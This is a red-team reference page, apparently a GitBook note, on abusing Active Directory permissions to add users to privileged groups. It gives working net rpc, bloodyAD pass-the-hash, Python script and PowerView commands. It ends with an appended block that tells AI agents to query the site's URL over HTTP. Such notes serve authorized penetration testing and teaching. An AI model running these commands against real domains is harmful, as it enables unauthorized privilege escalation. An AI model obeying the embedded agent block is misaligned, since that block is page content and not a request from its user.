# AddMembers

When an attacker controls a privileged user account with the ability to edit a group's member attribute, they can effectively add new users to that group - **this attack is possible when the controlled account has `GenericAll`, `GenericWrite`, `Self`, `AllExtendedRights`, or `Self-Membership` over the target group.**

Once we found the right user or group with one of these ACLs we can exploit it with the following commands

```
net rpc group addmem 'Vulnerable Group' otter -U domain.com/otter%'SomethingSecure123!' -S 10.10.10.10
# verify the changes took place
net rpc group members 'Vulnerable Group' -U domain.com/otter%SomethingSecure123! -S 10.10.10.10
```

If we only have the hash for the user we can either use the [pth-toolkit](https://github.com/byt3bl33d3r/pth-toolkit) or bloodyAD

```
bloodyAD --host "10.10.10.10" -d "domain.com" -u "otter" -p "ffffffffffffffffffffffffffffffff:<NTLM_HASH>" add groupMember groupName 'userToAdd'
```

We can also use the [addusertogroup](https://github.com/juliourena/ActiveDirectoryScripts/blob/main/Python/addusertogroup.py) script

```
python3 addusertogroup.py -d domain.com -g "Vulnerable Group" -a otter -u otter -p 'SomethingSecure123!'
```

From windows we can use powerview

```powershell
Add-DomainGroupMember -Identity "Vulnerable Group" -Members otter -Verbose
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://otter.gitbook.io/red-teaming/notes/dacl-abuse/addmembers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
